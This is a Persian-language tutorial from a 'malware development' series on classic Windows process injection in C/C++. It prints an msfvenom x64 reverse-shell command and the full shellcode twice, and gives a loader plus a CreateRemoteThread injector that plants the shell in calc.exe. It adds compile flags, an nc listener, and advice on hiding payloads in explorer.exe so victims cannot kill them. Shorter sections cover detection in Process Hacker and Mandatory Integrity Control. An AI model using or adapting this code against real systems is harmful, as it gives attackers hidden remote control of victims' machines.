تزریق کد کلاسیک (Code Injection) در C
در قسمت دوم از مجموعه توسعه بدافزار قرار داریم و این قسمت نیز مثل تمام قسمت های دیگر این مجموعه ، فقط و فقط با اهداف آموزشی و آشنایی با حملات منتشر شده است . مسئولیت هرگونه خرابکاری و جرم بر عهده خودش شخص میباشد .
تزریق کد چیست ؟
تزریق کد (code injection) به سادگی یعنی وادار کردن یک پروسه دیگر به اجرای کد دلخواه ما . به عبارتی طی این فرایند ، یک پروسه (بد افزار) کد دلخواه خود را به پروسه ای دیگر تزریق کرده و موجب اجرای کد توسط پروسه هدف میشود .
این کار مزایای خاصی برای طراحان بدافزار دارد . برای مثال فرض کنید یک payload از طریق یک آسیب پذیری یا یک حمله مهندسی اجتماعی یا … به سیستم هدف منتقل شده و توسط سیستم هدف اجرا شده . اجرای این payload باعث شده است تا یک Reverse Shell در اختیار هکر قرار بگیرد . نکته ای که هست این است که کاربر هدف هر لحظه میتواند به راحتی پروسه مربوط به payload را ببندد (kill) و این باعث از دست رفتن ارتباط هکر به طور کلی میشود . هکر برای جلوگیری از این موضوع میتواند از تکنیک تزریق کد استفاده کند . به این صورت که کد مربوط به payload خود را به یک پروسه ماندگار تر مثل explorer.exe تزریق میکند . این باعث میشود اولا پروسه ای که در حال اجرای payload است ، از دید کاربر مخفی تر شود ، دوما امکان بسته شدن payload بسیار کمتر میشود ( قاعدتا کسی همینطوری پروسه explorer.exe را نمیبندد !! )
آماده سازی یک payload
برای تست و بررسی روی این تکنیک ، یک payload شل معکوس درست میکنیم . برای سادگی بیشتر از msfvenom (زیرمجموعه metasploit) در سیستم عامل کالی لینوکس استفاده میکنیم . برای اینکار دستور زیر را در کالی لینوکس خود اجرا میکنیم :
msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.9.1.6 LPORT=4444 -f c
دستور بالا یک payload شل معکوس به صورت آرایه تعریف شده به زبان C به ما تحویل میدهد که آدرس 10.9.1.6 به عنوان IP و ۴۴۴۴ به عنوان پورت مقصد آن مشخص شده . این آدرس IP و پورت جایی است که هکر شنودگر خود را اجرا کرده است .
اجرای payload ساخته شده
برای تست payload یک تکه کد به زبان ++C مینویسیم که payload مارا اجرا کند :
/*
cpp implementation malware example with msfvenom payload
*/
#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
// our payload: reverse shell (msfvenom)
unsigned char my_payload[] =
"\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52"
"\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48"
"\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9"
"\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41"
"\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48"
"\x01\xd0\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01"
"\xd0\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48"
"\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0"
"\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c"
"\x24\x08\x45\x39\xd1\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0"
"\x66\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04"
"\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59"
"\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48"
"\x8b\x12\xe9\x57\xff\xff\xff\x5d\x49\xbe\x77\x73\x32\x5f\x33"
"\x32\x00\x00\x41\x56\x49\x89\xe6\x48\x81\xec\xa0\x01\x00\x00"
"\x49\x89\xe5\x49\xbc\x02\x00\x11\x5c\x0a\x09\x01\x06\x41\x54"
"\x49\x89\xe4\x4c\x89\xf1\x41\xba\x4c\x77\x26\x07\xff\xd5\x4c"
"\x89\xea\x68\x01\x01\x00\x00\x59\x41\xba\x29\x80\x6b\x00\xff"
"\xd5\x50\x50\x4d\x31\xc9\x4d\x31\xc0\x48\xff\xc0\x48\x89\xc2"
"\x48\xff\xc0\x48\x89\xc1\x41\xba\xea\x0f\xdf\xe0\xff\xd5\x48"
"\x89\xc7\x6a\x10\x41\x58\x4c\x89\xe2\x48\x89\xf9\x41\xba\x99"
"\xa5\x74\x61\xff\xd5\x48\x81\xc4\x40\x02\x00\x00\x49\xb8\x63"
"\x6d\x64\x00\x00\x00\x00\x00\x41\x50\x41\x50\x48\x89\xe2\x57"
"\x57\x57\x4d\x31\xc0\x6a\x0d\x59\x41\x50\xe2\xfc\x66\xc7\x44"
"\x24\x54\x01\x01\x48\x8d\x44\x24\x18\xc6\x00\x68\x48\x89\xe6"
"\x56\x50\x41\x50\x41\x50\x41\x50\x49\xff\xc0\x41\x50\x49\xff"
"\xc8\x4d\x89\xc1\x4c\x89\xc1\x41\xba\x79\xcc\x3f\x86\xff\xd5"
"\x48\x31\xd2\x48\xff\xca\x8b\x0e\x41\xba\x08\x87\x1d\x60\xff"
"\xd5\xbb\xf0\xb5\xa2\x56\x41\xba\xa6\x95\xbd\x9d\xff\xd5\x48"
"\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13"
"\x72\x6f\x6a\x00\x59\x41\x89\xda\xff\xd5";
unsigned int my_payload_len = sizeof(my_payload);
int main(void) {
void * my_payload_mem; // memory buffer for payload
BOOL rv;
HANDLE th;
DWORD oldprotect = 0;
// Allocate a memory buffer for payload
my_payload_mem = VirtualAlloc(0, my_payload_len, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
// copy payload to buffer
RtlMoveMemory(my_payload_mem, my_payload, my_payload_len);
// make new buffer as executable
rv = VirtualProtect(my_payload_mem, my_payload_len, PAGE_EXECUTE_READ, &oldprotect);
if ( rv != 0 ) {
// run payload
th = CreateThread(0, 0, (LPTHREAD_START_ROUTINE) my_payload_mem, 0, 0, 0);
WaitForSingleObject(th, -1);
}
return 0;
}
برای اجرای payload چند مرحله اصلی باید طی شود :
۱ – تعریف بایت های payload (آرایه my_payload در خط ۱۰)
۲ – رزرو مقداری از حافظه برای جایگذاری بایت های payload در آن (فراخوانی تابع VirtualAlloc در خط ۵۲)
۳ – نوشتن بایت های payload در حافظه رزرو شده (خط ۵۵)
۴ – ساخت یک Thread و پاس دادن حافظه رزرو شده در مرحله ۲ به عنوان شروع اجرای آن (خط ۶۲)
کد بالا را به نام evil.cpp ذخیره کرده ایم و compile میکنیم :
x86_64-w64-mingw32-gcc evil.cpp -o evil.exe -s -ffunction-sections -fdata-sections -Wno-write-strings -fno-exceptions -fmerge-all-constants -static-libstdc++ -static-libgcc
شنودگر خود را به وسیله netcat آماده میکنیم :
nc -lvp 4444
نهایتا evil.exe که نوشتیم را روی سیستم هدف اجرا میکنیم و میبینیم که دسترسی شل معکوس در اختیار سیستم هکر قرار میگیرد :
.\evil.exe
برای تحقیق و بررسی payload از برنامه Process Hacker استفاده میکنیم . Process Hacker یک نرم افزار متن باز است برای بررسی پروسه های در حال اجرا ، میزان مصرف منابع سخت افزاری توسط پروسه ها ، بررسی ارتباطات شبکه ایجاد شده توسط پروسه ها و خیلی قابلیت های بدرد بخور دیگر .
به تب network رجوع میکنیم و میبینیم که پروسه ما با سیستم هکر یعنی آدرس 10.9.1.6 و پورت ۴۴۴۴ ارتباط گرفته است :
تزریق payload به پروسه دیگر
در این مرحله میخواهیم payload که در بخش قبلی ساختیم و اجرا کردیم را به پروسه ای دیگر (مثلا calc.exe) تزریق کنیم تا توسط آن پروسه اجرا شود . فرض کنید payload ما در پروسه evil.exe است و پروسه calc.exe نیز در سیستم در حال اجرا است :
اولین کاری که میکنیم این است که یک حافظه که فضای آن حداقل به اندازه بایت های payload ما هست در پروسه مقصد (calc.exe) رزرو میکنیم :
سپس payload خود را در حافظه رزرو شده در پروسه مقصد کپی میکنیم :
سپس از سیستم عامل درخواست میکنیم تا payload ما که اکنون به سبب مراحل قبلی در حافظه پروسه مقصد است را اجرا کند :
حالا بیایید تا کدی بنویسیم که منطق بالا را پیاده سازی کند . یکی از مشهور ترین راه ها برای این مورد استفاده از توابع زیر است که این توابع در windows api برای اهداف عیب یابی وجود دارند :
یک کد بسیار ساده برای انجام اینکار :
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <windows.h>
// reverse shell payload (without encryption)
unsigned char my_payload[] =
"\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52"
"\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48"
"\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9"
"\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41"
"\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48"
"\x01\xd0\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01"
"\xd0\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48"
"\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0"
"\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c"
"\x24\x08\x45\x39\xd1\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0"
"\x66\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04"
"\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59"
"\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48"
"\x8b\x12\xe9\x57\xff\xff\xff\x5d\x49\xbe\x77\x73\x32\x5f\x33"
"\x32\x00\x00\x41\x56\x49\x89\xe6\x48\x81\xec\xa0\x01\x00\x00"
"\x49\x89\xe5\x49\xbc\x02\x00\x11\x5c\x0a\x09\x01\x06\x41\x54"
"\x49\x89\xe4\x4c\x89\xf1\x41\xba\x4c\x77\x26\x07\xff\xd5\x4c"
"\x89\xea\x68\x01\x01\x00\x00\x59\x41\xba\x29\x80\x6b\x00\xff"
"\xd5\x50\x50\x4d\x31\xc9\x4d\x31\xc0\x48\xff\xc0\x48\x89\xc2"
"\x48\xff\xc0\x48\x89\xc1\x41\xba\xea\x0f\xdf\xe0\xff\xd5\x48"
"\x89\xc7\x6a\x10\x41\x58\x4c\x89\xe2\x48\x89\xf9\x41\xba\x99"
"\xa5\x74\x61\xff\xd5\x48\x81\xc4\x40\x02\x00\x00\x49\xb8\x63"
"\x6d\x64\x00\x00\x00\x00\x00\x41\x50\x41\x50\x48\x89\xe2\x57"
"\x57\x57\x4d\x31\xc0\x6a\x0d\x59\x41\x50\xe2\xfc\x66\xc7\x44"
"\x24\x54\x01\x01\x48\x8d\x44\x24\x18\xc6\x00\x68\x48\x89\xe6"
"\x56\x50\x41\x50\x41\x50\x41\x50\x49\xff\xc0\x41\x50\x49\xff"
"\xc8\x4d\x89\xc1\x4c\x89\xc1\x41\xba\x79\xcc\x3f\x86\xff\xd5"
"\x48\x31\xd2\x48\xff\xca\x8b\x0e\x41\xba\x08\x87\x1d\x60\xff"
"\xd5\xbb\xf0\xb5\xa2\x56\x41\xba\xa6\x95\xbd\x9d\xff\xd5\x48"
"\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13"
"\x72\x6f\x6a\x00\x59\x41\x89\xda\xff\xd5";
unsigned int my_payload_len = sizeof(my_payload);
int main(int argc, char* argv[]) {
HANDLE ph; // process handle
HANDLE rt; // remote thread
PVOID rb; // remote buffer
// parse process ID
printf("PID: %i", atoi(argv[1]));
ph = OpenProcess(PROCESS_ALL_ACCESS, FALSE, DWORD(atoi(argv[1])));
// allocate memory buffer for remote process
rb = VirtualAllocEx(ph, NULL, my_payload_len, (MEM_RESERVE | MEM_COMMIT), PAGE_EXECUTE_READWRITE);
// "copy" data between processes
WriteProcessMemory(ph, rb, my_payload, my_payload_len, NULL);
// our process start new thread
rt = CreateRemoteThread(ph, NULL, 0, (LPTHREAD_START_ROUTINE)rb, NULL, 0, NULL);
CloseHandle(ph);
return 0;
}
ابتدا نیاز داریم تا PID پروسه مقصد را بدانیم . میتوانیم کاری کنیم تا خود کد این را بدست بیاورد ولی برای سادگی کار خودمان دستی به عنوان پارامتر آن را به کد میدهیم . برای رزرو حافظه یا نوشتن در حافظه در پروسه مقصد ، نیاز داریم تا پروسه مقصد را به وسیله تابع OpenProcess از کتابخانه kernel32 باز کنیم و این تابع اگر موفقیت آمیز باشد ، یک handle به پروسه مقصد به ما برمیگرداند . در خط ۴۹ این کار را انجام داده ایم :
ph = OpenProcess(PROCESS_ALL_ACCESS, FALSE, DWORD(atoi(argv[1])));
دقت کنید در پارامتر اول این فراخوانی مشخص کرده ایم تمام دسترسی ها به این پروسه (اعم از خواندن و نوشتن در حافظه پروسه) را میخواهیم و همچنین در پارامتر سوم PID پروسه مقصد را به آن پاس داده ایم .
بعد از اینکه پروسه مقصد را باز کردیم ، نیاز داریم تا یک محدوده به اندازه بایت های payload در حافظه آن رزرو کنیم . اینکار توسط فراخوانی تابع VirtualAllocEx در خط ۵۲ انجام شده است :
rb = VirtualAllocEx(ph, NULL, my_payload_len, (MEM_RESERVE | MEM_COMMIT), PAGE_EXECUTE_READWRITE);
در مرحله بعد payload خود را در حافظه رزرو شده در پروسه مقصد مینویسیم . اینکار توسط فراخوانی تابع WriteProcessMemory در خط ۵۵ انجام شده است :
WriteProcessMemory(ph, rb, my_payload, my_payload_len, NULL);
نهایتا در مرحله آخر یک Thread در پروسه مقصد ایجاد میکنیم و حافظه رزرو شده در پروسه مقصد که در مراحل قبلی ساختیم را به عنوان شروع اجرای آن مشخص میکنیم . اینکار توسط فراخوانی تابع CreateRemoteThread در خط ۵۸ انجام شده است :
rt = CreateRemoteThread(ph, NULL, 0, (LPTHREAD_START_ROUTINE)rb, NULL, 0, NULL);
کد بالا را compile میکنیم :
x86_64-w64-mingw32-gcc evil_inj.cpp -o evil2.exe -s -ffunction-sections -fdata-sections -Wno-write-strings -fno-exceptions -fmerge-all-constants -static-libstdc++ -static-libgcc
شنودگر خود را آماده میکنیم :
nc -lvp 4444
سپس در ابتدا برنامه calc.exe را به عنوان پروسه مقصد در سیستم هدف اجرا میکنیم و PID آن را در برنامه Process Hacker یا Task Manager ویندوز مشاهده میکنیم :
میبینیم که PID آن ۱۸۴۴ است .
حالا کد تزریق کننده را در سیستم هدف اجرا میکنیم :
.\evil2.exe 1844
همینطور که مشخص شده ، بعد از اجرا به درستی دسترسی به هکر داده شده و همچنین در Task Manager مشاهده میکنیم که پروسه calc.exe یک cmd.exe را اجرا کرده است که این همان شل معکوس است .
بررسی حافظه payload اجرا شده
اگر به بخش Network در Process Hacker مراجعه کنیم میبینیم که پروسه calc.exe یک ارتباط TCP با مقصد 10.9.1.6:4444 گرفته است که این ارتباط برای یک calc.exe عادی اصلا قابل توجیه نیست . این نشان دهنده این است که هم اکنون payload ما توسط calc.exe در حال اجراست !
اگر به تب Memory در پروسه calc.exe مراجعه کنیم متوجه موضوع جالبی میشویم :
در این بخش تمامی buffer هایی که داخل حافظه calc.exe وجود دارد به همراه اطلاعات آن ها مثل Protection مشخص شده . در بخش Protection حرف R به معنای Readable ، حرف W به معنای Writable و حرف X به معنای Executable است . اگر این بخش را بر اساس Protection مرتب سازی کنیم و دنبال بخش های RX حافظه بگردیم میبینیم که DLL فایل هایی که داخل پروسه بارگذاری شده اند داخل حافظه هایی از این نوع (RX) هستند .
اگر دقت کنیم میبینیم که فایل ws2_32.dll که یک DLL برای سوکت نویسی و مدیریت سوکت ها است داخل پروسه calc.exe بارگذاری شده که این اصلا طبیعی نیست چون calc.exe در حالت عادی نیازی به برقراری ارتباط شبکه و سوکت نویسی نخواهد داشت :
مکانیزم امنیتی MIC
نکته ای که هست این است که به راحتی نمیتوان هر پروسه ای را توسط تابع OpenProcess با دسترسی های نوشتن حافظه که قبل تر دیدیم ، باز کرد و دسترسی آن را گرفت . در سیستم عامل ویندوز از نسخه vista به بعد، یک مکانیزم امنیتی به نام Mandatory Integrity Control (MIC) وجود دارد که محدودیت هایی را برای باز کردن یک پروسه ایجاد میکند . جریان به این صورت است که هر پروسه داخل ویندوز یک سطح یکپارچگی (Integrity Level) دارد که یکی از چهار مورد زیر میتواند باشد :
1 – Low Level : پروسه هایی که دسترسی آن ها به اکثر پروسه های دیگر محدود شده است
2 – Medium Level : سطح یکپارچگی پیشفرض برای پروسه هایی که توسط کاربران عادی سیستم اجرا شده اند
3 – High Level : برای پروسه هایی که با دسترسی administrator اجرا شده اند
4 – System Level : بالاترین سطح یکپارچکی است و معمولا مختص سرویس های سیستمی است که در حال اجرا هستند .
هر پروسه حین اجرا سطح یکپارچکی خود را از کاربری که آن را اجرا کرده میگیرد .
برای مثال اگر پروسه بدافزار ما سطح یکپارچگی low را دارد نمیتواند تزریق را به پروسه ای که سطح یکپارچگی high دارد انجام دهد زیرا اجازه ی دسترسی گرفتن به آن پروسه برای نوشتن حافظه را نمیتواند بگیرد .
منابع
علاقه مند به دنیای کامپیوتر ها ...